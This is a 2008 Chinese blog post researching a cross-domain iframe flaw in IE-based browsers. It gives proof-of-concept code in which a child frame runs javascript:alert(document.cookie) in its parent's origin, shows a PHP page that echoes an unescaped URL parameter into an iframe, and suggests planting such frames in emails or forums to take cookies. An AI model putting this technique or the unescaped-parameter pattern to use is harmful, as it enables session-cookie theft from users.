百度空间 | 百度首页 
               
 
查看文章
 
利用IE 框架跨域(7.28日修正)
2008年07月25日 星期五 07:47
以下内容仅为一家之言

测试环境:

世界之窗浏览器(我的IE7不能跨域;由于我的遨游打了补丁,所以也不方便跨域,但遨游还是可以跨域的,它的补丁没彻底解决跨域漏洞。)


尽管安装了IE7,但IE内核依然存在跨域的漏洞,所以世界之窗浏览器存在跨域漏洞。


跨域的关键是取得一个窗口的句柄。如:x=window.open("http://hi.baidu.com/linx2008/");,x就是一个窗口句柄。
在框架中,子框架能够通过parent获得父框架的句柄,因此可以推测:子框架能够跨域获取父框架的cookie。

-----------


父框架 http://xxx.com/linx2008/iframe.php:

<iframe src=<?=$_GET[url]?>></iframe>



子框架 http://127.0.0.1/hack/ay/bb.htm让父框架弹出cookie

<script>  
//parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href="javascript:alert(document.cookie)";
//让父框架弹出cookie
</script>



提交http://xxx.com/linx2008/iframe.php?url=http://127.0.0.1/hack/ay/bb.htm,弹出http://xxx.com/的cookie。

说明子框架能够读写父框架的javascrip变量(如parent.varX=123)、控制父框架执行任何javascript,拥有对
父框架的任意权限

注意:IE7下已经不能读取
父框架的javascript,但能读写parent.document对象。eg:parent.document.getElementById("id").src ="xxxx";



利用方法:
既然子框架能购控制父框架执行javascript,
我们就可以在邮件/BBS...中发带子框架的内容,这样就可以实现跨域取得cookie。
优点是:我们并不需要在父框架中发javascript代码!



=====================================


子框架能够控制父框架执行任何javascript,
但父
框架却不能控制子框架执行javascript、读取子框架的变量(eg:window.varX)——父框架对子框架没有控制权限!!!



eg:

父框架代码:

<script>
var x;
</script>
先等几毫秒,等子框架把它的句柄赋给x。
也许有更好的方法让父框架获取子框架的句柄,如frame[0](具体的代码我忘了),但执行效果差不多。
<script>
alert(x);
setTimeout (
function(){
//x.location.href=new String("javascript:alert(document.cookie)")
x.location.href="javascript:alert(document.cookie)";
}
,1500); //执行到这里,由于本父框架对x没有控制权,所以
x 窗口不会弹出cookie。
</script>


子框架代码:
<script>  
parent.x=window;//把本页面的句柄赋予父框架。
前面说过,子框架能够读写父框架的变量
</script>












类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu